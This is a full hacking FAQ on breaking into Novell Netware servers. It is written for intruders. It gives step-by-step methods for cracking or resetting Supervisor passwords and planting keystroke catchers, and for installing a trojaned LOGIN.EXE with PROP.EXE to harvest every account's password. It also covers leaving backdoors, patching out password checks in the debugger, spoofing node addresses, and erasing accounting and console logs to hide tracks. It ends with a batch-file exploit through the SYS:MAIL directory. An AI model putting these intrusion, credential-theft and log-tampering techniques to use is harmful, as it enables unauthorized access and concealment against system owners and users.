

Section 01 - Getting Access to Accounts

[01-1. How do I access the password file in Novell Netware?](#)

[01-2. How do I crack Novell Netware passwords?](#)

[01-3. What are common accounts and passwords in Novell Netware?](#)

[01-4. How can I figure out valid account names on Novell Netware?](#)

[01-5. What is the "secret" method to gain Supervisor access Novell used to teach in CNE classes?](#)

[01-6. What is the cheesy way to get Supervisor access?](#)

[01-7. How do I leave a backdoor?](#)

[01-8. Can sniffing packets help me break in?](#)

[01-9. What is Packet Signature and how do I get around it?](#)

[01-10. How do I use SETPWD.NLM?](#)

[01-11. What's the "debug" way to disable passwords?](#)

Section 01

Getting Access to Accounts

01-1. How do I access the password file in Novell Netware?

Contrary to not-so-popular belief, access to the password file in Netware is not like Unix - the password file isn't in the open. All objects and their properties are kept in the bindery files on 2.x and 3.x, and kept in the NDS database in 4.x. An example of an object might be a printer, a group, an individual's account etc. An example of an object's properties might include an account's password or full user name, or a group's member list or full name. The bindery files attributes (or flags) in 2.x and 3.x are Hidden and System, and these files are located on the SYS: volume in the SYSTEM subdirectory. Their names are as

follows:

Netware version File Names

2.x NET\$BIND.SYS, NET\$BVAL.SYS

3.x NET\$OBJ.SYS, NET\$PROP.SYS, NET\$VAL.SYS

The NET\$BVAL.SYS and NET\$VAL.SYS are where the passwords are actually located in 2.x and 3.x respectively.

In Netware 4.x, the files are physically located in a different location than on the SYS: volume. However, by using the RCONSOLE utility and using the Scan Directory option, you can see the files in SYS: _NETWARE:

File	What it is

VALUE.NDS	Part of NDS
BLOCK.NDS	Part of NDS
ENTRY.NDS	Part of NDS
PARTITIO.NDS	Type of NDS partition (replica, master, etc.)
MLS.000	License
VALLINCEN.DAT	License validation

Here is another way to view these files, and potentially edit them. After installing NW4 on a NW3 volume, reboot the server with a 3.x SERVER.EXE. On volume SYS will be the _NETWARE directory. SYS:_NETWARE is hidden better on 4.1 than 4.0x, but in 4.1 you can still see the files by scanning directory entry numbers using NCP calls (you need the APIs for this) using function 0x17 subfunction 0xF3.

01-2. How do I crack Novell Netware passwords?

There are a few ways to approach this. First, we'll assume Intruder Detection is turned off. We'll also assume unencrypted passwords are allowed. Hopefully you won't have to deal with packet signature (see 01-9 below) Then we'll assume you have access to the console. Finally we'll assume you can plant some kind of password catcher. Access to a sniffer might help. These are a lot of ifs.

If Intruder Detection is off, you can just guess the password until you get it. This can be automated by writing a program that continually guesses passwords, or by using a program that does just that. One program that I am aware of is NOVELBFH.EXE (for version 3.x only). This program will try passwords like aa, ab, ac and so on until every legal character combination has been tried. You will eventually get the password. However this assumes you have 1) a lot of time since it takes a second or two for each try (more on a dial-up link), and 2) access to a machine that will run one of these programs for hours, even days. And if Intruder Detection is on you will be beeping the System Console every couple of seconds and time-stamping your node address to the File Server Error Log.

Encrypted passwords is Novell's way of protecting passwords from sniffers. Since older versions of Netware (2.15c) sent passwords as plain text over the wire, a sniffer could see the password as it went by. To secure things, Novell gave the administrator a way to control this. Later versions of the LOGIN.EXE program would encrypt the password before transmitting it across the wire to the server. But before this could happen, the shell (NETX) had to be updated. Since some locations had to have older shells and older versions of LOGIN.EXE to support older equipment, the administrator has the option of allowing unencrypted passwords to access the server. This is done by typing SET ALLOW UNENCRYPTED PASSWORDS=ON at the console or by adding it to the AUTOEXEC.NCF. The default is OFF, which means NOVELBFH could be beeping the server console every attempt! Fortunately most sites turn this switch on to support some old device.

If you have access to the console, either by standing in front of it or by RCONSOLE, you can use SETSPASS.NLM, SETSPWD.NLM or SETPWD.NLM to reset passwords. Just load the NLM and pass it command line parameters:

NLM	Account(s)	reset	Netware version(s)	supported

SETSPASS.NLM	SUPERVISOR		3.x	
SETSPWD.NLM	SUPERVISOR		3.x, 4.x	
SETPWD.NLM	any valid account		3.x, 4.x	

See 01-10 for more SETPWD.NLM info.

If you can plant a password catcher or keystroke reader, you can get them this way. The LOGIN.EXE file is located in the SYS:LOGIN directory, and normally you will not have access to put a file in that directory. The best place to put a keystroke capture program is in the workstation's path, with the ATTRIB set as hidden. The advantage is that you'll get the password and Netware won't know you swiped it. The disadvantage is getting access to the machine to do this. The very best place to put one of these capture programs is on a common machine, like a pcAnywhere box, which is used for remote access. Many locations will allow pcAnywhere access to a machine with virtually no software on it, and control security access to the LAN by using Netware's security features. Uploading a keystroke capture program to a machine like this defeats this.

If the system is being backed up via a workstation, this can be used as a good entry point. These workstations have to have supe equiv to back up the bindery and other system files. If you can access this workstation or use the backup systems user account name then you can get supe level login.

itsme, the notorious Netherlands Netware hacker, developed KNOCK.EXE by rewriting one byte of ATTACH.EXE to try without a password to get into a server. KNOCK.EXE utilizes a bug that allows a non-password attach to get in. This works on versions of Netware earlier than 2.2, and 3.11. Later versions have the bug fixed. Given enough time you will get in.

Another alternative is the replacement LOGIN.EXE by itsme. This jewel, coupled with PROP.EXE, will create a separate property in the bindery on a 2.x or 3.x server that contains the passwords. Here is the steps to use these powerful tools:

- Gain access to a workstation logged in as Supervisor or equivalent (or use another technique described elsewhere for getting this type of access)
- Run the PROP.EXE file with a -C option. This creates the new property for each bindery object. Remember, you must be a Supe for this step.
- Replace the LOGIN.EXE in the SYS:LOGIN directory with itsme's. Be sure to flag it SRO once replaced.
- Now it is set. Keep PROP.EXE on a floppy, and check the server with any valid login, Supervisor or not, after a week or two.
- To check the passwords captured, type PROP -R after your logged in. You can redirect it to a file or printer. A list of accounts and passwords, valid and working, are yours.
- Don't forget to hide your presence! See section 03-3 for details.

01-3. What are common accounts and passwords in Novell Netware?

Out of the box Novell Netware has the following default accounts - SUPERVISOR, GUEST, and Netware 4.x has ADMIN and USER_TEMPLATE as well. All of these have no password to start with. Virtually every installer quickly gives SUPERVISOR and ADMIN a password. However, many locations

will create special purpose accounts that have easy-to-guess names, some with no passwords. Here are a few and their typical purposes:

Account	Purpose
-----	-----
PRINT	Attaching to a second server for printing
LASER	Attaching to a second server for printing
HPLASER	Attaching to a second server for printing
PRINTER	Attaching to a second server for printing
LASERWRITER	Attaching to a second server for printing
POST	Attaching to a second server for email
MAIL	Attaching to a second server for email
GATEWAY	Attaching a gateway machine to the server
GATE	Attaching a gateway machine to the server
ROUTER	Attaching an email router to the server
BACKUP	May have password/station restrictions (see below), used for backing up the server to a tape unit attached to a workstation. For complete backups, Supervisor equivalence is required.
WANGTEK	See BACKUP
FAX	Attaching a dedicated fax modem unit to the network
FAXUSER	Attaching a dedicated fax modem unit to the network
FAXWORKS	Attaching a dedicated fax modem unit to the network

TEST A test user account for temp use

This should give you an idea of accounts to try if you have access to a machine that attaches to the server. A way to "hide" yourself is to give GUEST or USER_TEMPLATE a password. Occasionally admins will check up on GUEST, but most forget about USER_TEMPLATE. In fact, *I* forgot about USER_TEMPLATE until itsme reminded me.

A common mistake regarding RCONSOLE passwords is to use a switch to use only the Supervisor password. It works like this:

```
LOAD REMOTE /P=
```

instead of

```
LOAD REMOTE RCONPASSWORD
```

The admin believes /P= turns off everything except the Supe password for CONSOLE. In fact the password is just set to /P= which will get you in! The second most common mistake is using -S.

01-4. How can I figure out valid account names on Novell Netware?

Any limited account should have enough access to allow you to run SYSCON, located in the SYS:PUBLIC directory. If you get in, type SYSCON and enter. Now go to User Information and you will see a list of all defined accounts. You will not get much info with a limited account, but you can get the account and the user's full name.

If you're in with any valid account, you can run USERLIST.EXE and get a list of all valid account names on the server. If you don't have access (maybe the sys admin deleted the GUEST account, a fairly common practice), you can't just try any account name at the LOGIN prompt. It will ask you for a password whether the account name is valid or not, and if it is valid and you guess the wrong password, you could be letting the world know what you're up to if Intruder Detection is on. But there is a way to determine if an account is valid.

From a DOS prompt use a local copy (on your handy floppy you carry everywhere) of MAP.EXE. After you've loaded the Netware TSRs up through NETX or VLM, Try to map a drive using the server name and volume SYS:. For example:

```
MAP G:=TARGET_SERVER/SYS:APPS <enter>
```

Since you are not logged in, you will be prompted for a login ID. If it is a valid ID, you will be prompted

for a password. If not, you will immediately receive an error. Of course, if there is no password for the ID you use you will be attached and mapped to the server. You can do the same thing with ATTACH.EXE:

```
ATTACH TARGET_SERVER/loginidtotry <enter>
```

The same thing will happen as the MAP command. If valid, you will be prompted for a password. If not, you get an error.

Another program to check for valid users and the presence of a password is CHKNULL.EXE by itsme. This program checks for users and whether they have a password assigned.

01-5. What is the "secret" method to gain Supervisor access Novell used to teach in CNE classes?

Before I start this section, let me recommend another solution, my God, ANY other solution is better than this! If you are running 3.x, jump to the end of this section.

The secret method is the method of using a DOS-based sector editor to edit the entry in the FAT, and reset the bindery to default upon server reboot. This gives you Supervisor and Guest with no passwords. The method was taught in case you lost Supervisor on a Netware 2.15 server and you had no supe equivalent accounts created. It also saves the server from a wipe and reboot in case the Supervisor account is corrupt, deleted, or trashed.

While you get a variety of answers from Novell about this technique, from it doesn't work to it is technically impossible, truth be it it can be done. Here are the steps, as quoted from comp.os.netware.security, with my comments in [brackets]:

[start of quote]

A Netware Server is supposed to be a very safe place to keep your files. Only people with the right password will have access to the data stored there. The Supervisor (or Admin) user's password is usually the most well kept secret in the company, since anyone that has that code could simply log to the server and do anything he/she wants. But what happens if this password is lost and there's no user that is security-equivalent to the supervisor? [Use SETPWD.NLM, instead of this process, see 01-10 below - S.N.] What happens if the password system is somehow damaged and no one can log to the network? According to the manual, there's simply no way out. You would have to reinstall the server and try to find your most recent backup.

Fortunately, there is a very interesting way to gain complete access to a Netware server without knowing the Supervisor's (or Admin's) password. You may imagine that you would have to learn complex decryption techniques or even type in a long C program, but

that's not the case. The trick is so simple and generic that it will work the same way for Netware 2.x, 3.x and 4.x.

The idea is to fool Netware to think that you have just installed the server and that no security system has been established yet. Just after a Netware 2.x or 3.x server is installed, the Supervisor's password is null and you can log in with no restriction. Netware 4.x works slightly differently, but it also allows anyone to log in after the initial installation, since the installer is asked to enter a password for the Admin user.

But how can you make the server think it has just been installed without actually reinstalling the server and losing all data on the disk? Simple. You just delete the files that contain the security system. In Netware 2.x, all security information is stored in two files (NET\$BIND.SYS and NET\$BVAL.SYS). Netware 3.x stores that information in three files (NET\$OBJ.SYS, NET\$VAL.SYS and NET\$PROP.SYS). The all new Netware 4.x system stores all login names and passwords in five different files (PARTITIO.NDS, BLOCK.NDS, ENTRY.NDS, VALUE.NDS and UNINSTAL.NDS [This last file may not be there, don't worry - S.N.]).

One last question remains. How can we delete these files if we don't have access to the network, anyway? The answer is, again, simple. Although the people from Novell did a very good job encrypting passwords, they let all directory information easy to find and change if you can access the server's disk directly, using common utilities like Norton's Disk Edit. Using this utility as an example, I'll give a step-by-step procedure to make these files vanish. All you need is a bootable DOS disk, Norton Utilities' Emergency Disk containing the DiskEdit program and some time near the server.

Boot the server and go to the DOS prompt. To do this, just let the network boot normally and then use the DOWN and EXIT commands. This procedure does not work on old Netware 2.x servers and in some installations where DOS has been removed from memory. In those cases, you'll have to use a DOS bootable disk.

Run Norton's DiskEdit utility from drive A:

Select "Tools" in the main menu and then select "Configuration". At the configuration window, uncheck the "Read-Only" checkbox. And be very careful with everything you type after this point.

Select "Object" and then "Drive". At the window, select the C: drive and make sure you check the button "physical drive". After that, you'll be looking at your physical disk and you be able to see (and change) everything on it.

Select "Tools" and then "Find". Here, you'll enter the name of the file you are trying to

find. Use "NET\$BIND" for Netware 2, "NET\$PROP.SYS" for Netware 3 and "PARTITIO.NDS" for Netware 4. It is possible that you find these strings in a place that is not the Netware directory. If the file names are not all near each other and proportionally separated by some unreadable codes (at least 32 bytes between them), then you it's not the place we are looking for. In that case, you'll have to keep searching by selecting "Tools" and then "Find again". [In Netware 3.x, you can change all occurrences of the bindery files and it should still work okay, I've done it before. - S.N.]

You found the directory and you are ready to change it. Instead of deleting the files, you'll be renaming them. This will avoid problems with the directory structure (like lost FAT chains). Just type "OLD" over the existing "SYS" or "NDS" extension. Be extremely careful and don't change anything else.

Select "Tools" and then "Find again". Since Netware store the directory information in two different places, you have to find the other copy and change it the same way. This will again prevent directory structure problems.

Exit Norton Disk Edit and boot the server again. If you're running Netware 2 or 3, your server would be already accessible. Just go to any station and log in as user Supervisor. No password will be asked. If you're running Netware 4, there is one last step.

Load Netware 4 install utility (just type LOAD INSTALL at the console prompt) and select the options to install the Directory Services. You be prompted for the Admin password while doing this. After that, you may go to any station and log in as user Admin, using the password that you have selected.

What I did with Norton's Disk Edit could be done with any disk editing utility with a "Search" feature. This trick has helped me save many network supervisors in the last years. I would just like to remind you that no one should break into a netware server unless authorized to do it by the company that owns the server. But you probably know that already.

[end of quote]

I actually had this typed up but kept changing it, so I stole this quote from the newsgroup to save me retyping ;-)

Now the quicky for 3.x users. Use LASTHOPE.NLM, which renames the bindery and downs the server. Reboot and you have Supe and Guest, no password.

01-6. What is the cheesy way to get Supervisor access?

The cheesy way is the way that will get you in, but it will be obvious to the server's admin that the server has been compromised. This technique works for 3.11.

Using NW-HACK.EXE, if the Supervisor is logged in NW-HACK does the following things:

1. the Supervisor password is changed to SUPER_HACKER;
2. every account on the server is made a supe equivalent, and;
3. the sys admin is going to know very quickly something is wrong.

What the admin will do is remove the supe rights from all accounts that are not supposed to have it and change the Supervisor password back. The only thing you can do is leave a backdoor for yourself (see next question).

01-7. How do I leave a backdoor?

Once you are in, you want to leave a way back with supe equivalency. You can use SUPER.EXE, written for the express purpose of allowing the non-supe user to toggle on and off supe equivalency. If you use the cheesy way in (previous question), you turn on the toggle before the admin removes your supe equivalency. If you gain access to a supe equivalent account, give Guest supe equivalency and then login as Guest and toggle it on. Now get back in as the original supe account and remove the supe equivalency. Now Guest can toggle on supe equivalency whenever it's convenient.

Of course Guest doesn't have to be used, it could be another account, like an account used for e-mail administration or an e-mail router, a gateway's account, you get the idea.

Now SUPER.EXE is not completely clean. Running the Security utility or Bindfix will give away that an account has been altered at the bindery level, but the only way for an admin to clear the error is to delete and rebuild the account.

Another backdoor is outlined in section 01-2 regarding the replacement LOGIN.EXE and PROP.EXE

01-8. Can sniffing packets help me break in?

Yes. If a user is logging in and the password is being transmitted to the server unencrypted, it will show up as plain text in the trace. If the site uses telnet and ftp, capturing those password will come in handy. Outside of gaining access to another system, many users will make their passwords the same across all systems.

For a list of DOS-based sniffers, see the alt.2600/#hack FAQ. I personally prefer the Network General Sniffer ;-)

You can use a brute force cracker on captured encrypted passwords. As I have more tools and details, I

will provide them here.

01-9. What is Packet Signature and how do I get around it?

Packet signatures works by using an intermediate step during the encrypted password login call, to calculate a 64-bit signature. This block is never transmitted over the wire, but it is used as the basis for a cryptographically strong signature ("secure hash") on the most important part of each NCP packet exchange. A signed packet can indeed be taken as proof sufficient that the packet came from the claimed PC.

NCP Packet Signature is Novell's answer to the work of the folks in the Netherlands in hacking Netware. The idea behind it is to prevent forged packets and unauthorized Supervisor access. It is an add-on option in 3.11, but a part of the system with 3.12 and 4.x. Here are the signature levels at the client and server:

Packet Signature Option and meaning:

0 = Don't do packet signatures

1 = Do packet signatures if required

2 = Do packet signatures if you can but don't if the other end doesn't support them

3 = Require packet signatures

You can set the same settings at the workstation server. The default for packet signatures is 2 at the server and client. If you wish to use a tool like HACK.EXE, try setting the signature level at 0 on the client by adding Signature Level=0 in the client's NET.CFG. If packet signatures are required at the server you won't even get logged in, but if you get logged in, hack away.

If you wish to change the signature level at the server, use a set command at the server console:

```
SET NCP PACKET SIGNATURE OPTION=2
```

01-10. How do I use SETPWD.NLM?

You can load SETPWD at the console or via RCONSOLE. If you use RCONSOLE, use the Transfer Files To Server option and put the file in SYS:SYSTEM.

For 3.x:

```
LOAD [path if not in SYS:SYSTEM]SETPWD [username] [newpassword]
```

For 4.x:

```
set bindery context = [context, e.g. hack.corp.us]
```

```
LOAD [path if not in SYS:SYSTEM]SETPWD [username] [newpassword]
```

In 4.x the change is replicated so you have access to all the other servers in the tree. And don't forget, you must follow the password requirements in SYSCON for this to work. That is, if the account you are changing normally requires a 6 character password, then you'll need to supply a 6 character password.

01-11. What's the "debug" way to disable passwords?

You must be at the console to do this:

```
<left-shift><right-shift><alt><esc> (Enters debugger)
```

```
type c VerifyPassword=B8 0 0 0 0 C3
```

```
type g
```

This disables the password checking. Now Supe won't ask for a password. To restore password checking from debugger, do this:

```
first type d VerifyPassword 5 and write down the 5 byte response,
```

```
then type c VerifyPassword=xx xx xx xx xx
```

```
then type g
```

[Return to Contents page.](#)

Section 02 - Other Security Items

[02-1. What is Accounting?](#)

[02-2. How do I defeat Accounting?](#)

[02-3. What is Intruder Detection?](#)

[02-4. What are station/time restrictions?](#)

[02-5. How do I spoof my node or IP address?](#)

[02-6. How do I defeat console logging?](#)

[02-7. How does password encryption work?](#) ☐

[02-8. Can I set the RCONSOLE password to work for just Supervisor?](#) ☐

[02-9. Can access to .NCF files help me?](#) ☐

Section 02

Other Security Items

02-1. What is Accounting?

Accounting is Novell's pain in the butt way to control and manage access to the server in a way that is "accountable". The admin set up charge rates for blocks read and written, service requests, connect time, and disk storage. The account "pays" for the service by being given some number, and the accounting server deduces for these items. How the account actually pays for these items (departmental billing, cash, whatever) you may or may not want to know about, but the fact that it could be installed could leave a footprint that you've been there.

Any valid account, including non-supe accounts, can check to see if Accounting is turned on. Simply run SYSCON and try to access Accounting, if you get a message that Accounting is not installed, then guess

what? Since it is a pain to administer, many sys admins will turn it on simply to time-stamp each login and logout, track intruders, and include the node address and account name of each of these items.

02-2. How do I defeat Accounting?

Turn it off. And spoof your node address. Here's the steps -

- Spoof your address (see below). Use a supe account's typical node address as your own.
- If you are using a backdoor, activate it with SUPER.EXE.
- Delete Accounting by running SYSCON, selecting Accounting, Accounting

Servers, hitting the delete key, and answering yes when asked if you wish to delete accounting. The last entry in the NET\$ACCT.DAT file will be your login time-stamped with the spoofed node address.

- Now do what you will in the system. Use a different account if you like, it won't show up in the log file.
- When done, login with the original account, run SYSCON and re-install Accounting. Immediately logout, and the next line in the NET\$ACCT.DAT file will be your logout, showing a login and logout with the same account name, nice and neat.

If you can't spoof the address (some LAN cards don't allow it or require extra drivers you may not have), just turn off Accounting and leave it off or delete the NET\$ACCT.DAT file located in the SYS:SYSTEM directory.

It should be noted that to turn off and on Accounting you need supe equivalent, but you don't need supe equivalence to spoof the address.

02-3. What is Intruder Detection?

Intruder Detection is Novell's way of tracking invalid password attempts. While this feature is turned off by default, most sites practicing any type of security will at minimum turn this feature on. There are several parameters to Intruder Detection. First, there is a setting for how long the server will remember a bad password attempt. Typically this is set to 30 minutes, but can be as short as 10 minutes or as long as 7 days. Then there is a setting for how many attempts will lockout the account. This is usually 3 attempts, but can be as short as 1 or as many as 7. Finally is the length the account is locked out. The default is 30 minutes but it can range from 10 minutes to 7 days.

When an Intruder Detection occurs, the server beeps and a time-stamped message is displayed on the System Console with the account name that is now locked out and the node address from where to attempt came from. This is also written to the File Server Error Log. A Supervisor or equivalent can unlock the account before it frees itself up, and the File Server Error Log can also be erased by a Supervisor or equivalent.

In a large shop, it is not unusual to see Intruder Lockouts even on a daily basis, and forgetting a password is a typical regular-user thing to do. Intruder Lockouts on Supervisor or equivalent account is usually noticed.

02-4. What are station/time restrictions?

Time restrictions can be placed on an account to limit the times in which an account can be logged in. In the account is already logged in and the time changes to a restricted time, the account is logged out. The restriction can be per weekday down to the half hour. That means that if an admin wants to restrict an account from logging in except on Monday through Friday from 8-5, it can be done. Only Supervisor and equivalents can alter time restrictions. Altering the time at the workstation will not get you around time restrictions, only altering time at the server can change the ability to access.

Station restriction place a restriction on *where* an account can be used.

Restrictions can be to a specific token ring or ethernet segment, and can be specific down to the MAC layer address, or node address. The only way around a station restriction at the node address is to spoof the address from a workstation on the same segment or ring as the address you are spoofing. Like time restrictions, only Supervisor and equivalents can alter station restrictions.

02-5. How do I spoof my node or IP address?

This will depend greatly on what kind of network interface card (NIC) the workstation has, as to whether you can perform this function. Typically you can do it in the Link Driver section of the NET.CFG file by adding the following line - NODE ADDRESS xxxxxxxxxxxx where xxxxxxxxxxxx is the 12 digit MAC layer address. This assumes you are using Netware's ODI drivers, if you are using NDIS drivers you will have to add the line to a PROTOCOL.INI or IBMENII.NIF file, which usually has the lines already in it.

For an IP address, you may have to run a TCPIP config program to make it work (it depends on whose IP stack you are running). Some implementations will have the mask, the default router and the IP address in the NET.CFG, some in the TCPIP.CFG. It is a good idea to look around in all network-related subdirectories to see if there are any .CFG, .INI, or .NIF files that may contain addresses.

Getting the target node address should be pretty easy. Login with any account and do a USERLIST /A. This will list all accounts currently logged in with their network and node address. If your workstation is on the same network as the target, you can spoof the address no problem. Actually you can spoof the address regardless but to defeat station restrictions you must be on the same network.

02-6. How do I defeat console logging?

Here you need console and Supervisor access. The site is running 3.11 or higher and running the CONLOG.NLM. Any site running this is trapping all console messages to a file. If you run SETPWD at the console, the response by SETPWD is written to a log file. Here's the steps for determining if it is running and what to do to defeat it:

- Type **MODULES** at the console. Look for the CONLOG.NLM. If it's there, it's running.
- Look on the server in SYS:ETC for a file called CONSOLE.LOG. This is a plain text file that you can type out. However you cannot delete or edit it while CONLOG is running.
- Unload CONLOG at the console.
- Delete, or even better yet, edit the CONSOLE.LOG file, erasing your tracks.
- Reload CONLOG. It will show that it has been restarted in the log.
- Check the CONSOLE.LOG file to ensure the owner has not changed.
- Run **PURGE** in the SYS:ETC directory to purge old versions of CONSOLE.LOG that your editor have left to be salvaged.

02-7. How does password encryption work?

- From itsme -

the password encryption works as follows:

1. the workstation requests a session key from the server (NCP-17-17)
2. the server sends a unique 8 byte key to the workstation
3. the workstation encrypts the password with the userid, - this 16 byte value is what is stored in the bindery on the server
4. the WS then encrypts this 16 byte value with the 8 byte session key resulting in 8 bytes, which it sends to the server (NCP-17-18 = login), (NCP-17-4a = verify pw) (NCP-17-4b = change pw)
5. the server performs the same encryption, and compares its own result with that sent by the WS

the information contained in the net\$*.old files which can be found in the system directory after bindfix was run, is enough to login to the server as any object. just skip step 3

02-8. Can I set the RCONSOLE password to work for just Supervisor?

Yes and no. In version 3.x, the Supe password always works.

A common mistake regarding 3.x RCONSOLE passwords is to use a switch to use only the Supervisor password. It works like this:

```
LOAD REMOTE /P= , instead of
LOAD REMOTE RCONPASSWORD
```

The admin believes /P= turns off everything except the Supe password for RCONSOLE. In fact the password is just set to /P= which will get you in! The second most common mistake is using -S.

Version 4.1 is a bit different. Here's how it works:

- At the console prompt, type LOAD REMOTE SECRET where SECRET is the Remote Console password.
- Now type REMOTE ENCRYPT. You will be prompted for a password to encrypt.
- This will give you the encrypted version of the password, and give you the option of writing LDREMOTE.NCF to the SYS:SYSTEM directory, containing all the entries for loading Remote Console support.

You can call LDREMOTE from your AUTOEXEC.NCF, or you can change the LOAD REMOTE line in the AUTOEXEC.NCF as follows:

```
LOAD REMOTE SECRET ; becomes
LOAD REMOTE -E 870B7E366363
```

02-9. Can access to .NCF files help me?

Access to any .NCF file can bypass security, as these files are traditionally run from the console and assume the security access of the console. The addition of a few lines to any .NCF file can get you access to that system.

The most vulnerable file would be the AUTOEXEC.NCF file. Adding a couple of lines to run BURGLAR.NLM or SETPWD.NLM would certainly get you access. But remember there are other .NCF files that can be used and exploited. For example, ASTART.NCF and ASTOP.NCF are used to start and stop Arcserve, the most popular backup system for Netware. The LDREMOTE.NCF as mentioned in section 02-8 is another potential target.

The lines you might add to such a file might be as follows:

```
UNLOAD CONLOG
LOAD SETPWD SUPERVISOR SECRET
CLS
LOAD CONLOG
```

This assumes you had read/write access to the location of the .NCF file and can copy SETPWD.NLM to the server. Note that by unloading CONLOG you are only partially covering your tracks, in the CONSOLE.LOG file it will be obvious that CONLOG was unloaded and reloaded. The CLS is to keep your activities off of the server's screen.

The best .NCF for this is obviously one that is either used during the server's boot process or during some automated process. This way a short .NCF and its activities may escape the eyes of an admin during execution.

Section 03 - File and Directory Access

[03-1. How can I see hidden files and directories?](#)

[03-2. How do I defeat the execute-only flag?](#) ☐

[03-3. How can I hide my presence after altering files?](#)

[03-4. What is a Netware-aware trojan?](#)

[03-5. What are Trustee Directory Assignments?](#)

[03-6. Are there any default Trustee Assignments that can be exploited?](#)

[03-7. What are some general ways to exploit Trustee Rights?](#) ☐

Section 03

File and Directory Access

03-1. How can I see hidden files and directories?

Instead of a normal DIR command, use NDIR to see hidden files and directories. NDIR *.* /S /H will show you just Hidden and System files.

03-2. How do I defeat the execute-only flag?

If a file is flagged as execute-only, it can still be opened. Open the file with a program that will read in executables, and do a Save As to another location.

Also try X-AWAY.EXE to remove this flag since Novell's FLAG.EXE won't. But once again X-AWAY.EXE requires Supervisor access.

To disable the check for Supe access in X-AWAY, try the following:

```
REN X-AWAY.EXE WORK
DEBUG WORK
EB84 EB
W
Q
REN QORK X-AWAY.EXE
```

Hey presto, anybody can copy X flagged files. The only catch is you need practically full rights in the directory where the X flagged files resides.

03-3. How can I hide my presence after altering files?

The best way is to use Filer. Here are the steps for removing file alterations -

- Run Filer or use NDIR and note the attributes of the target file, namely the date and owner of the file.
- Make your changes or access the file.
- Run Filer or use NDIR and check to see if the attributes have changed. If so, change them back to the original settings.

While you can hit F1 will in Filer and get all the context-sensitive help you need, the quicky way to get where you're going is to run Filer in the target file's directory, select Directory Contents, highlight the target file and hit enter, select File Options and then View/Set File Information.

View and edit to your heart's desire.

03-4. What is a Netware-aware trojan?

A Netware-aware trojan is a program that supposedly does one thing but does another instead, and does it using Netware API calls. I have never personally encountered one, but here is how they would work.

- Trojan program is placed on a workstation, hopefully on one frequented by admins with Supe rights. The trojan program could be named something like CHKVOL.COM or VOLINFO.COM, that is a real name but with a .COM extension. They would be placed in the workstation's path.
- Once executed, the trojan uses API calls to determine if the person is logged in as a Supe equivalent, if not it goes to the next step. Otherwise some type of action to breach security is performed.
- The real CHKVOL.EXE or VOLINFO.EXE is ran. The breach of security would typically be some type of command-line activity that could be performed by system() calls. For example, PROP.EXE could be run to build a property and the replacement LOGIN.EXE copied up to the server in the SYS:LOGIN directory. Or RW access granted to the SYS:SYSTEM directory for a non-Supe user like GUEST.

Once activated the trojan could also erase itself since it is no longer needed.

03-5. What are Trustee Directory Assignments?

The LAN God has pointed out quite correctly that Trustee Directory Assignments are the most misunderstood and misconfigured portion of Novell Netware. Typically a secure site should have Read and File Scan only in most directories, and should not have any rights on the root directory of any volume. Rights assigned via the Trustee Directory Assignments filter down the directory tree, so if a user has Write access at the root directory, that user has Write access in every subdirectory below it (unless explicitly limited in a subdirectory down stream).

And these assignments are not located in the bindery, but on each volume.

The following is a brief description of Trustees and Trustee Directory Assignments cut and pasted from the unofficial comp.os.netware.security FAQ:

[quote]

A trustee is any user or group that has been granted access rights in a directory. The access rights in Novell NetWare 2 are slightly different from the ones in NetWare 3.

The following is a summary of access rights for NetWare 3.

S - Supervisory. Any user with supervisory rights in a directory will automatically inherit all other rights, regardless of whether they have been explicitly granted or not. Supervisor equivalent accounts will hold this access right in every directory.

R - Read. Enables users to read files.

C - Create. Enables users to create files and directories. Unless they also have write access, they will not be able to edit files which have been created.

W - Write. Enables users to make changes to files. Unless they also have create access, they may not be able to edit files, since the write operation can only be used to extend files (not truncate them, which file editors need to do).

E - Erase. Enable users to erase files and remove directories.

M - Modify. Enable users to modify file attributes.

F - File scan. Enables users to see file and directory information. If a user does not have file scan rights, they will not see any evidence of such files existing.

A - Access control. Enable user to change trustee rights. They will be able to add other users as trustees, remove trustees, and grant/revoke specific rights from users. The only caveat of access control is that it is possible for users to remove themselves (as trustees) from directories, thus losing all access control. In addition to trustees and access rights, there is a concept of inherited rights which means that users inherit rights from parent directories. For example, if user ALICE has rights [CWEM] in a directory, and she has [RF] rights in the parent directory then she will have [RCWEMF] rights as a result of the inherited rights. This will only work if one of the rights that ALICE has in the two directories is granted to a group; if both are granted to her, she will lose the rights of the parent.

[end quote]

03-6. Are there any default Trustee Assignments that can be exploited?

Yes. By default the group EVERYONE has Create rights in SYS:MAIL. This means the user (including GUEST) has the ability to write files to any subdirectory in SYS:MAIL. The first versions of Netware included a simple e-mail package, and every user that is created gets a subdirectory in mail with RCWEMF, named after their object ID number. One consistent number is the number 1, which is always assigned to Supervisor. Here's one way to exploit it:

1. Login as GUEST and change to the SYS:MAIL subdirectory.
2. Type DIR. You will see one subdirectory, the one owned by GUEST. Change into that directory (ex. here is C0003043)
3. Type DIR. If there is no file named LOGIN, you can bet there may not be one for Supervisor. If there is a default-looking LOGIN file, even a zero length file, you cannot proceed.
4. Copy PROP.EXE and LOGIN.EXE (the itsme version) to SYS:MAIL\C0003043
5. Create a batch file (ex. here is BOMB.BAT) with the following entries:

```
@ECHO OFF
```

```
FLAG \LOGIN\LOGIN.EXE N > NUL
```

```
COPY \MAIL\C0003043\LOGIN.EXE \LOGIN\LOGIN.EXE > NUL
```

```
FLAG \LOGIN\LOGIN.EXE SRO > NUL
```

```
\MAIL\C0003043\PROP -C > NUL
```

1. Create a LOGIN file with the following entries:

```
MAP DISPLAY OFF
```

```
MAP ERRORS OFF
```

```
MAP G:=SYS:
```

```
DRIVE G:
```

```
COMMAND /C #\MAIL\1\BOMB
```

```
DRIVE F:
```

```
MAP DELETE G:
```

1. Now copy the files to the Supervisor's SYS:MAIL directory from a drive mapped to the SYS: volume.

```
TYPE BOMB.BAT > \MAIL\1\BOMB.BAT
```

```
TYPE LOGIN > \MAIL\1\LOGIN
```

The next time the Supervisor logs in the LOGIN.EXE is replaced and the PROP.EXE file is run, capturing passwords. Run PROP.EXE later to get the passwords, and then once you have all the passwords you need (including Supervisor) delete your LOGIN and BOMB.BAT file.

Admins can defeat this by creating default personal Login Scripts or by adding an EXIT command to the end of the System Login Script. Later versions of Netware create a zero-length LOGIN file at ID creation time in the SYS:MAIL directories to defeat this.

03-7. What are some general ways to exploit Trustee Rights?

To find out all your trustee rights, use the WHOAMI /R command. The following section is a summary of what rights to expect, and the purpose. Where x appears, it means it doesn't matter if the right is set.

- [SRWCEMFA] means you have FULL rights. They are all eight of the effective rights flags.
